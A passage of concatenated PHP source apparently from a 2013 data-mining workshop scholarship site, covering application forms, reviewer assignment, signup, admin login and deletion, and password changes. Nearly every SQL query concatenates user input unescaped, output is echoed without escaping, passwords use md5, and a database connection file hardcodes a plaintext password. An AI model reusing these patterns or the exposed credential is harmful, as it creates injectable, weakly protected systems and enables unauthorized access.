LinkedInName, TwitterName, PreviousBPDMAttend, PreviousACMSIGKDDAttend, ACMSIGKDDAttendYear, ACMSIGKDDApplication, OtherWorkshops, DietaryRestrictions, SmokingPreference, Local, HotelRequests, FlightArrival, HotelArrival, FlightDeparture, HotelDeparture, Volunteer, LearnAboutBPDM, FundingNeed, Motivation, Interests, Aspirations FROM Application WHERE ApplicationID='".$appId."';"; $result = mysql_query($sql); // get the sql request if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { $row = mysql_fetch_array($result); ?> <form id="form0" action="passThru/assignReviewer.php" method="post"> <fieldset style="width:300px;"> <input id="application" name="application" type="hidden" value="<?php echo($appId); ?>" /> <label for="user">Select Reviewer: <select name="user" id="user" style="float:right;width:150px;"> <?php $sql = "SELECT Email, FirstName, LastName, UserType FROM User;"; $userResult = mysql_query($sql); if(empty($userResult)) { $num_userResults = 0; } else { $num_userResults = mysql_num_rows($userResult); } for($k=0; $k<$num_userResults; $k++) { $userRow = mysql_fetch_array($userResult); if($userRow["UserType"] == "Reviewer") { ?> <option value="<?php echo($userRow["Email"]); ?>"><?php echo($userRow["FirstName"]." ".$userRow["LastName"]);?></option> <?php } } ?> </select></label><br /><br /> <input id="submit" name="submit" type="submit" style="width:150px;" value="Assign Reviewer" /> <br /><br /><div style="field_error"><?php echo($_SESSION["error"]); ?></div> </fieldset> </form><br /><br /> <div class="application-data"> <div class="item"><div class="heading">Applicant Name:</div><div class="data"><?php echo($row["FirstName"]." ".$row["LastName"]);?></div></div> <div class="item"><div class="heading">Email:</div><div class="data"><?php echo($row["Email"]);?></div></div> <div class="item"><div class="heading">Address 1:</div><div class="data"><?php echo($row["Address1"]);?></div></div> <div class="item"><div class="heading">Address 2:</div><div class="data"><?php echo($row["Address2"]);?></div></div> <div class="item"><div class="heading">City:</div><div class="data"><?php echo($row["City"]);?></div></div> <div class="item"><div class="heading">State:</div><div class="data"><?php echo($row["State"]);?></div></div> <div class="item"><div class="heading">Zipcode:</div><div class="data"><?php echo($row["Zipcode"]);?></div></div> <div class="item"><div class="heading">Country:</div><div class="data"><?php echo($row["Country"]);?></div></div> <div class="item"><div class="heading">Phone:</div><div class="data"><?php echo($row["Phone"]);?></div></div> <div class="item"><div class="heading">Citizenship Status:</div><div class="data"><?php echo($row["Citizenship"]);?></div></div> <div class="item"><div class="heading">Nationality:</div><div class="data"><?php echo($row["Nationality"]);?></div></div> <div class="item"><div class="heading">Gender:</div><div class="data"><?php echo($row["Gender"]);?></div></div> <div class="item"><div class="heading">Racial Identity:</div><div class="data"><?php echo($row["Race"]);?></div></div> <div class="item"><div class="heading">Ethnicity Identity:</div><div class="data"><?php echo($row["Ethnicity"]);?></div></div> <div class="item"><div class="heading">Which, if any, under-represented group(s) are you part of?</div><div class="data"><?php echo($row["UnderRepresentedGroup"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Institution / Organization:</div><div class="data"><?php echo($row["Organization"]);?></div></div> <div class="item"><div class="heading">Department:</div><div class="data"><?php echo($row["Department"]);?></div></div> <div class="item"><div class="heading">Current Degree Program:</div><div class="data"><?php echo($row["CurrentDegree"]);?></div></div> <div class="item"><div class="heading">Highest Degree Attained:</div><div class="data"><?php echo($row["HighestDegree"]);?></div></div> <div class="item"><div class="heading">Research Area(s) of Interest:</div><div class="data"><?php echo($row["AreaOfInterest"]);?></div></div> <div class="item"><div class="heading">Are you a full-time student?:</div><div class="data"><?php echo($row["FullTimeStudent"]);?></div></div> <div class="item"><div class="heading">Facebook Name:</div><div class="data"><?php echo($row["FacebookName"]);?></div></div> <div class="item"><div class="heading">LinkedIn Name:</div><div class="data"><?php echo($row["LinkedInName"]);?></div></div> <div class="item"><div class="heading">Twitter Name:</div><div class="data"><?php echo($row["TwitterName"]);?></div></div> <div class="item"><div class="heading">Did you attend Broadening Participation in Data Mining Program last year?</div><div class="data"><?php echo($row["PreviousBPDMAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you attended ACM SIGKDD before?</div><div class="data"><?php echo($row["PreviousACMSIGKDDAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">If so, which year(s)?</div><div class="data"><?php echo($row["ACMSIGKDDAttendYear"]);?></div></div> <div class="item"><div class="heading">If you have submitted to ACM SIGKDD 2013, please provide the submission type and title:</div><div class="data"><?php echo($row["ACMSIGKDDApplication"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you ever attended any other workshops where the focus was in broadening participation of underrepresented groups? If so, provide titles and years.</div><div class="data"><?php echo($row["OtherWorkshops"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Do you have any dietary restrictions?</div><div class="data"><?php echo($row["DietaryRestrictions"]);?></div></div> <div class="item"><div class="heading">Smoking preference:</div><div class="data"><?php echo($row["SmokingPreference"]);?></div></div> <div class="item"><div class="heading">I am a local participant and do not need hotel accommodations:</div><div class="data"><?php echo($row["Local"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe any special hotel requests, if any.</div><div class="data"><?php echo($row["HotelRequests"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Flight Arrival date:</div><div class="data"><?php echo($row["FlightArrival"]);?></div></div> <div class="item"><div class="heading">Hotel Arrival date:</div><div class="data"><?php echo($row["HotelArrival"]);?></div></div> <div class="item"><div class="heading">Flight Departure date:</div><div class="data"><?php echo($row["FlightDeparture"]);?></div></div> <div class="item"><div class="heading">Hotel Departure date:</div><div class="data"><?php echo($row["HotelDeparture"]);?></div></div> <div class="item"><div class="heading">Would you also consider volunteering during part of the conference?</div><div class="data"><?php echo($row["Volunteer"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">How did you learn about the Broadening Participation in Data Mining Program?</div><div class="data"><?php echo($row["LearnAboutBPDM"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Why do you need the funding?</div><div class="data"><?php echo($row["FundingNeed"]);?></div></div> <div class="item"><div class="heading">Describe your motivation for attending Broadening Participation in Data Mining.</div><div class="data"><?php echo($row["Motivation"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe your areas of academic and professional interest.</div><div class="data"><?php echo($row["Interests"]);?></div><br style="clear:both;" /></div> <div class="item" style="border-bottom:none;"><div class="heading">What are your professional aspirations over the next five years?</div><div class="data"><?php echo($row["Aspirations"]);?></div><br style="clear:both;" /></div> </div> <?php $sql = "SELECT Email, Rating, ReviewJustification FROM ReviewerApplication WHERE ApplicationID='".$appId."';"; $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) { ?> <br /> <h1>Application Reviews</h1> <?php $found = false; for($i=0; $i<$num_results; $i++) { $row = mysql_fetch_array($result); if($row["Rating"] != 999) { $found = true; $sql = "SELECT FirstName, LastName FROM User WHERE Email='".$row["Email"]."';"; $userResult = mysql_query($sql); if(!empty($userResult)) { $userRow = mysql_fetch_array($userResult); ?> <h2>Review <?php echo($i+1); ?>:</h2> <div class="application-data"> <div class="item"><div class="heading">Reviewed By:</div><div class="data"><a style="color:#fff;" href="mailto:<?php echo($row["Email"]);?>"><?php echo($userRow["FirstName"]." ".$userRow["LastName"]);?></a></div></div> <div class="item"><div class="heading">Review Rating:</div><div class="data"><?php echo(getRatingText($row["Rating"]));?></div></div> <div class="item"><div class="heading">Justification For Review:</div><div class="data"><?php echo($row["ReviewJustification"]);?></div><br style="clear:both;" /></div> </div> <?php } } } if(!$found) { echo("No completed reviews were found."); } } } else { echo("Application could not be found."); } } ?> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/closeConn.php"); ?> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <?php function getRatingText($d) { if($d == 3) { return "Strong Accept"; } else if($d < 3 && $d >= 2) { return "Accept"; } else if($d < 2 && $d >= 1) { return "Weak Accept"; } else if($d < 1 && $d >= 0) { return "No Opinion"; } else if($d < 0 && $d >= -1) { return "Weak Reject"; } else if($d < -1 && $d >= -2) { return "Reject"; } else { return "Strong Reject"; } } ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><?php session_start(); $appID = $_POST["application"]; $user = $_POST["user"]; if($_SESSION["loggedAs"] == "" || $_SESSION["adminType"] != "Super" || $appID == "" || $user == "") // if the user is not logged in, does not have the proper clearance, or is using a blank id { header("Location: ../organizer.php?id=".$appID); // redirect to the login page } // end of if include("../includes/openConn.php"); $sql = "SELECT Email FROM ReviewerApplication WHERE Email='".$user."' AND ApplicationID='".$appID."';"; $result = mysql_query($sql); if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results == 0) { $sql = "INSERT INTO ReviewerApplication(Email, ApplicationID, Rating, ReviewJustification) VALUES ('".$user."', '".$appID."', '999', '');"; $result = mysql_query($sql); $_SESSION["error"] = "This application has been assigned successfully."; } else { $_SESSION["error"] = "This application is already assigned to this reviewer."; } include("../includes/closeConn.php"); // close the database include("../includes/cleanUp.php"); // delete the variables header("Location: ../organizer.php?id=".$appID); // redirect to the login page ?><file_sep><h1>Apply</h1> <p>Scholarship applications are now <span style="text-decoration:underline;font-weight:bold;">closed</span> for 2012!!</p> <br /> <br /> <br /> <br /> <p>In 2012, we invited applications for full and partial scholarships to attend the workshop. Scholarships covered travel, accommodations, meals, and registration for the conference. Graduate students and postdocs from underrepresented groups and those with disabilities were encouraged to apply.</p> <br /> <p>To apply for a scholarship, submit your application through our web portal at <a href="http://dataminingshop.com/application.php" target="_blank">http://dataminingshop.com/application.php</a>. You’ll be required to answer basic application questions, provide contact information for a reference letter writer, and a poster abstract, if you choose to present one. Please inform your reference letter writer in advance so appropriate notice can be had.</p> <br /> For questions or information about the Broadening Participation in Data Mining Workshop, please visit the website or contact <a href="mailto:<EMAIL>">questions [at] dataminingshop.com</a>. <file_sep><?php $id = ""; $isValid = ""; $userName = ""; $salt = ""; $password = ""; $sql = ""; $result = ""; $num_results = ""; $row = ""; $isValid = ""; $title = ""; $desc = ""; $link = ""; $author = ""; $doc = ""; $xpath = ""; $root = ""; $idList = ""; $idNumber = ""; $counter = ""; $item = ""; $maxId = ""; $today = ""; $pub_date = ""; $newRss = ""; $newTitle = ""; $newDesc = ""; $newGuid = ""; $newLink = ""; $newAuthor = ""; $newDate = ""; $usage = ""; $valid = ""; $loginPassEx = ""; $login = ""; $fname = ""; $lname = ""; $email = ""; $login = ""; $oldPass = ""; $pass1 = ""; $pass2 = ""; $id = ""; $title = ""; $desc = ""; $link = ""; $author = ""; $editNode = ""; $page_text = ""; $page = ""; $myFile = ""; $fh = ""; ?><file_sep><?php @ $db = mysql_pconnect("mysql1.000webhost.com", "a6770153_datamin", "ShaFoLiZe7783"); mysql_select_db("a6770153_datamin"); if(!$db) { echo "Error: Could not connect to database. Please try again later."; exit; } ?><file_sep><?php session_start(); $valid = true; // create a flag variable for form validity // set variables from the form $email = $_POST["email_can"]; $email = strtolower($email); $pass1 = $_POST["pass1_can"]; $pass2 = $_POST["pass2_can"]; $fname = $_POST["fName_can"]; $lname = $_POST["lName_can"]; $reviewer = $_POST["reviewer"]; // add variables as session variables $_SESSION["fnameCan"] = $fname; $_SESSION["lnameCan"] = $lname; $_SESSION["emailCan"] = $email; $_SESSION["reviewer"] = $reviewer; $_SESSION["error"] = ""; $loginPassEx = "/^([a-zA-Z0-9]){1,}$/"; // create an expression to test against the name if(!preg_match($loginPassEx, $pass1) || $pass1 == "") // if the password fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid Password."; // create the error message } // end of if if($pass1 == $pass2) // if the two passwords do not match { $salt = md5($email); // create a salt variable $password = md5($pass1.$salt); // generate a md5 password } // end of if else { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a Passwords did not match."; // create the error message } // end of else $nameEx = "/^([a-zA-Z ]){1,}$/"; // create an expression to test against the name if(!preg_match($nameEx, $fname) || $fname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["fnameCan"] = ""; // clear the name from the form $error .= "Enter a valid First Name."; // create the error message } // end of if if(!preg_match($nameEx, $lname) || $lname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["lnameCan"] = ""; // clear the name from the form $error .= "Enter a valid Last Name."; // create the error message } // end of if $emailEx = "/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/"; // create an expression to test against the email if(!preg_match($emailEx, $email) || $email == "") // if the email fails the expression or is blank { $valid = false; // show that the form is not valid $_SESSION["emailCan"] = ""; // clear the email from the form if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid email address."; // create the error message } // end of if $phoneEx = "/^([\d]){3}([\-]){1}([\d]){3}([\-]){1}([\d]){4}$/"; // create an expression to test against the phone if($reviewer != "") { $userType = "Reviewer"; } else { $userType = "Applicant"; } if($valid) // if the form is valid { include("../includes/openConn.php"); // open the connection $sql = "SELECT Email FROM User WHERE Email='".$email."'"; // get the id numbers from all of the inquiries $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) // if the number of results is greater than zero { $_SESSION["error"] = "This email address is already in use. Please select another."; // set the message include("../includes/closeConn.php"); include("../includes/cleanUp.php"); // clear variables header("Location: ../applicantSignUp.php"); // redirect to contact page } // end of if else { $sql = "INSERT INTO User(Email, FirstName, LastName, Password, UserType) VALUES('".$email."', '".$fname."', '".$lname."', '".$password."', '".$userType."')"; // create the sql statement $result = mysql_query($sql); // get the sql request include("../includes/closeConn.php"); // close the database connection //mail($to, $subject, $message, $headers); // send the email // clear session variables $_SESSION["fnameCan"] = ""; $_SESSION["lnameCan"] = ""; $_SESSION["emailCan"] = ""; $_SESSION["error"] = ""; $to = $email; $subject = "BPDM 2013 User Account Creation"; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: Data Mining Workshop Admin <<EMAIL>>\r\n"; $body = "Hi ".$fname.", <br /><br />"; if($userType == "Applicant") { $body .= "Welcome to the application process for the 2013 Broadening Participation in Data Mining program (BPDM). Your application username is ".$email."."; $body .= "<br />Please remember that you may save your application as often as necessary, but you must submit by 11:59 pm PDT on May 5, 2013.<br /><br />"; $body .= "<br />Good luck and hope to see you there,<br />"; } else { $body .= "Thank you for becoming a reviewer for 2013 Broadening Participation in Data Mining program (BPDM) applications."; } $body .= "<br />You can log in with your information here:<br />"; $body .= "<a href = \"http://www.dataminingshop.com/2013/applicantLogin.php\">http://www.dataminingshop.com/2013/applicantLogin.php</a>.<br /><br /><br />"; $body .= "Best regards, <br /><br />"; $body .= "Workshop organizers"; mail($to, $subject, $body, $headers); include("../includes/cleanUp.php"); // clear variables header("Location: ../applicantLogin.php"); // redirect to contact page } } // end of if else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; include("../includes/cleanUp.php"); // clear variables header("Location: ../applicantSignUp.php"); // redirect to contact page } ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $isValid = false; // create a flag variable to show that the form has not been validated $userName = str_replace(" ", "", $_POST["username"]); // get the username $salt = md5($userName); // create a salt variable $password = md5($_POST["password"].$salt); // generate a md5 password $_SESSION["error"] = ""; // clear the login error message if($userName == "") // if the username is blank { $error .= "* User ID is Blank.<br />"; // create the login error message } // end of if if($password == "") // if the password is blank { $error .= "* Password is Blank.<br />"; // create the login error message } // end of if include("../includes/openConn.php"); // open the database connection $sql = "SELECT AdminID, FirstName, LastName, Email, AdminType FROM Admin WHERE AdminID='".$userName."' AND Password='".$password."'"; // create the sql statement $result = mysql_query($sql); // send in the request if(empty($result)) // if the request is empty { $num_results = 0; // show that no results were found login failed } // end of if else { $num_results = mysql_num_rows($result); // get the number of results } // end of else if($num_results != 0) // if the number of results is not zero { $row = mysql_fetch_array($result); // get the data from the row $isValid = true; // show that the user got in // add table data as login information $_SESSION["loggedAs"] = $row["AdminID"]; $_SESSION["userFName"] = $row["FirstName"]; $_SESSION["userLName"] = $row["LastName"]; $_SESSION["email"] = $row["Email"]; $_SESSION["adminType"] = $row["AdminType"]; } // end of if else { $error = "* Invalid Credentials.</br >"; // create the login error message } // end of else include("../includes/closeConn.php"); // close the database connection if($isValid) // if the entry was valid { $error = ""; // clear the login error message include("../includes/cleanUp.php"); // clean up variables $_SESSION["timeout"] = time() + $TIME_OUT; if($_SESSION["last_page"] == "") { header("Location: ../admin.php"); // redirect to index page } else { header("Location: ../".$_SESSION["last_page"]); } } // end of if else { $error .= "* Login Failed!<br />"; // create the login error message $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; include("../includes/cleanUp.php"); // clean up variables header("Location: ../login.php"); // redirect to index page } // end of else exit; ?><file_sep><?php session_start(); $id = $_POST["admin-delete"]; // get the id from the url query string if($_SESSION["loggedAs"] == "" || $_SESSION["adminType"] != "Super" || $id == "") // if the user is not logged in, does not have the proper clearance, or is using a blank id { header("Location: ../admin.php"); // redirect to the login page } // end of if if($_SESSION["loggedAs"] == $id) { header("Location: ../admin.php"); } include("../includes/openConn.php"); // open the connection $sql = "SELECT AdminID, FirstName, LastName, Email, Password FROM Admin WHERE AdminID='".$id."'"; // create the query string $result = mysql_query($sql); // enter the query string if(empty($result)) // if no results are found { $num_results = 0; // show no results } // end of if else { $num_results = mysql_num_rows($result); // show results } // end of else if($num_results != 0) // if results are found { $sql = "DELETE FROM Admin WHERE AdminID='".$id."'"; // create the query string $result = mysql_query($sql); // enter the query string $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Admin deleted successfully.</p>"; } // end of if include("../includes/closeConn.php"); // close the database include("../includes/cleanUp.php"); // delete the variables header("Location: ../admin.php"); // redirect to inquiry page ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $usage = $_GET["u"]; // get the usage $valid = true; // create a flag variable for form validity $loginPassEx = "/^([a-zA-Z0-9]){1,}$/"; // create an expression to test against the name $login = $_POST["username"]; $pass1 = $_POST["<PASSWORD>1"]; $pass2 = $_POST["<PASSWORD>2"]; if(!preg_match($loginPassEx, $pass1) || $pass1 == "") // if the password fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid Password."; // create the error message } // end of if if($pass1 == $pass2) // if the two passwords do not match { $salt = md5($login); // create a salt variable $password = md5($pass1.$salt); // generate a md5 password } // end of if else { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Entered Passwords did not match."; // create the error message } // end of else if($valid) // password change is valid { include("../includes/openConn.php"); $sql = "UPDATE User SET Password = '".$password."', PasswordReset='0' WHERE Email = '".$login."';"; // create the sql string $result = mysql_query($sql); // enter the sql string $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Password Change Successful!</p>"; // show the success message $_SESSION["passReset"] = 0; include("../includes/closeConn.php"); include("../includes/cleanUp.php"); // clear variables header("Location: ../application.php"); // redirect to contact page } // end of if else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; include("../includes/cleanUp.php"); // clear variables header("Location: ../userChangePassword.php"); // redirect to contact page } ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); if($_SESSION["loggedAs"] == "" || $_SESSION["userType"] != "Applicant") { header("Location: applicantLogin.php"); } if($_SESSION["passReset"] == 1) { header("Location: userChangePassword.php"); } include("includes/openConn.php"); $sql = "SELECT FirstName, LastName, Address1, Address2, City, State, Zipcode, Country, Phone, Citizenship, Nationality, Gender, Race, Ethnicity, UnderRepresentedGroup, Organization, Department, CurrentDegree, HighestDegree, AreaOfInterest, FullTimeStudent, FacebookName, LinkedInName, TwitterName, PreviousBPDMAttend, PreviousACMSIGKDDAttend, ACMSIGKDDAttendYear, ACMSIGKDDApplication, OtherWorkshops, DietaryRestrictions, SmokingPreference, Local, HotelRequests, FlightArrival, HotelArrival, FlightDeparture, HotelDeparture, Volunteer, LearnAboutBPDM, FundingNeed, Motivation, Interests, Aspirations FROM ApplicationDraft WHERE Email='".$_SESSION["loggedAs"]."';"; $result = mysql_query($sql); // get the sql request if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0 && $_SESSION["fName"] == "") { $row = mysql_fetch_array($result); $_SESSION["fName"] = $row["FirstName"]; $_SESSION["lName"] = $row["LastName"]; $_SESSION["add1"] = $row["Address1"]; $_SESSION["add2"] = $row["Address2"]; $_SESSION["city"] = $row["City"]; $_SESSION["state"] = $row["State"]; $_SESSION["zip"] = $row["Zipcode"]; $_SESSION["country"] = $row["Country"]; $_SESSION["phone"] = $row["Phone"]; $_SESSION["citizenship"] = $row["Citizenship"]; $_SESSION["nationality"] = $row["Nationality"]; $_SESSION["gender"] = $row["Gender"]; $_SESSION["race"] = $row["Race"]; $_SESSION["ethnicity"] = $row["Ethnicity"]; $_SESSION["underrepresentedGroup"] = $row["UnderRepresentedGroup"]; $_SESSION["org"] = $row["Organization"]; $_SESSION["dept"] = $row["Department"]; $_SESSION["currDegree"] = $row["CurrentDegree"]; $_SESSION["highestDegree"] = $row["HighestDegree"]; $_SESSION["areaOfInterest"] = $row["AreaOfInterest"]; $_SESSION["fullTimeStudent"] = $row["FullTimeStudent"]; $_SESSION["facebookName"] = $row["FacebookName"]; $_SESSION["linkedInName"] = $row["LinkedInName"]; $_SESSION["twitterName"] = $row["TwitterName"]; $_SESSION["previousBPDMAttend"] = $row["PreviousBPDMAttend"]; $_SESSION["previousACMSIGKDDAttend"] = $row["PreviousACMSIGKDDAttend"]; $_SESSION["ACMSIGKDDAttendYear"] = $row["ACMSIGKDDAttendYear"]; $_SESSION["ACMSIGKDDApplication"] = $row["ACMSIGKDDApplication"]; $_SESSION["otherWorkshops"] = $row["OtherWorkshops"]; $_SESSION["dietaryRestrictions"] = $row["DietaryRestrictions"]; $_SESSION["smokingPreference"] = $row["SmokingPreference"]; $_SESSION["isLocal"] = $row["Local"]; $_SESSION["hotelRequests"] = $row["HotelRequests"]; $_SESSION["flightArrival"] = $row["FlightArrival"]; $_SESSION["hotelArrival"] = $row["HotelArrival"]; $_SESSION["flightDeparture"] = $row["FlightDeparture"]; $_SESSION["hotelDeparture"] = $row["HotelDeparture"]; $_SESSION["volunteer"] = $row["Volunteer"]; $_SESSION["learnAboutBPDM"] = $row["LearnAboutBPDM"]; $_SESSION["fundingNeed"] = $row["FundingNeed"]; $_SESSION["motivation"] = $row["Motivation"]; $_SESSION["interests"] = $row["Interests"]; $_SESSION["aspirations"] = $row["Aspirations"]; if($_SESSION["flightArrival"] == "0000-00-00") { $_SESSION["flightArrival"] = ""; } if($_SESSION["hotelArrival"] == "0000-00-00") { $_SESSION["hotelArrival"] = ""; } if($_SESSION["flightDeparture"] == "0000-00-00") { $_SESSION["flightDeparture"] = ""; } if($_SESSION["hotelDeparture"] == "0000-00-00") { $_SESSION["hotelDeparture"] = ""; } } ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Application Form</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); getRss("#rss-edit"); getRss("#rss-delete"); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <?php $sql = "SELECT ApplicationID FROM Application WHERE Email='".$_SESSION["loggedAs"]."'"; $result = mysql_query($sql); // get the sql request if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results == 0) { ?> <h1>Application Form</h1> <?php echo($_SESSION["error"]);?> <form class="application" id="form0" action="passThru/processApp.php" method="post"> <fieldset style=""> <p style="margin-top:0px;text-align:right;">* = Required</p> <h2>Demographics Information</h2> <input id="email" name="email" type="hidden" value="<?php echo($_SESSION["loggedAs"]); ?>" /> <label for="fName"><b>* </b>First Name: <input id="fName" name="fName" maxlength="25" type="text" value="<?php if($_SESSION["fName"] != ""){echo($_SESSION["fName"]);}else{echo($_SESSION["userFName"]);} ?>" /></label><br /><br /> <label for="lName"><b>* </b>Last Name: <input id="lName" name="lName" maxlength="25" type="text" value="<?php if($_SESSION["lName"] != ""){echo($_SESSION["lName"]);}else{echo($_SESSION["userLName"]);} ?>" /></label><br /><br /> <label for="add1"><b>* </b>Address 1: <input id="add1" name="add1" maxlength="30" type="text" value="<?php if($_SESSION["add1"] != ""){echo($_SESSION["add1"]);} ?>" /></label><br /><br /> <label for="add2">&nbsp;&nbsp;Address 2: <input id="add2" name="add2" maxlength="30" type="text" value="<?php if($_SESSION["add2"] != ""){echo($_SESSION["add2"]);} ?>" /></label><br /><br /> <label for="city"><b>* </b>City: <input id="city" name="city" maxlength="25" type="text" value="<?php if($_SESSION["city"] != ""){echo($_SESSION["city"]);} ?>" /></label><br /><br /> <label for="state">&nbsp;&nbsp;State: <select name="state" id="state" size="1"> <option value="<?php if(!empty($_SESSION["state"])){echo($_SESSION["state"]);} ?>" selected="selected" style="display:none"><?php if(!empty($_SESSION["state"])){echo($_SESSION["state"]);} ?></option> <option value="AL">Alabama</option> <option value="AK">Alaska</option> <option value="AZ">Arizona</option> <option value="AR">Arkansas</option> <option value="CA">California</option> <option value="CO">Colorado</option> <option value="CT">Connecticut</option> <option value="DE">Delaware</option> <option value="DC">Dist of Columbia</option> <option value="FL">Florida</option> <option value="GA">Georgia</option> <option value="HI">Hawaii</option> <option value="ID">Idaho</option> <option value="IL">Illinois</option> <option value="IN">Indiana</option> <option value="IA">Iowa</option> <option value="KS">Kansas</option> <option value="KY">Kentucky</option> <option value="LA">Louisiana</option> <option value="ME">Maine</option> <option value="MD">Maryland</option> <option value="MA">Massachusetts</option> <option value="MI">Michigan</option> <option value="MN">Minnesota</option> <option value="MS">Mississippi</option> <option value="MO">Missouri</option> <option value="MT">Montana</option> <option value="NE">Nebraska</option> <option value="NV">Nevada</option> <option value="NH">New Hampshire</option> <option value="NJ">New Jersey</option> <option value="NM">New Mexico</option> <option value="NY">New York</option> <option value="NC">North Carolina</option> <option value="ND">North Dakota</option> <option value="OH">Ohio</option> <option value="OK">Oklahoma</option> <option value="OR">Oregon</option> <option value="PA">Pennsylvania</option> <option value="RI">Rhode Island</option> <option value="SC">South Carolina</option> <option value="SD">South Dakota</option> <option value="TN">Tennessee</option> <option value="TX">Texas</option> <option value="UT">Utah</option> <option value="VT">Vermont</option> <option value="VA">Virginia</option> <option value="WA">Washington</option> <option value="WV">West Virginia</option> <option value="WI">Wisconsin</option> <option value="WY">Wyoming</option> <option value="Other">Other</option> </select> </label><br /><br /> <label for="zip"><b>* </b>Zipcode: <input id="zip" name="zip" maxlength="10" type="text" value="<?php if($_SESSION["zip"] != ""){echo($_SESSION["zip"]);} ?>" /></label><br /><br /> <label for="country"><b>* </b>Country: <input id="country" name="country" maxlength="25" type="text" value="<?php echo($_SESSION["country"]); ?>" /></label><br /><br /> <label for="phone"><b>* </b>Phone: <input id="phone" name="phone" maxlength="15" type="text" value="<?php if($_SESSION["phone"] != ""){echo($_SESSION["phone"]);} ?>" /></label><br /><br /> <label for="citizenship"><b>* </b>Citizenship Status: <select name="citizenship" id="citizenship" size="1"> <option value="<?php if(!empty($_SESSION["citizenship"])){echo($_SESSION["citizenship"]);} ?>" selected="selected" style="display:none"><?php 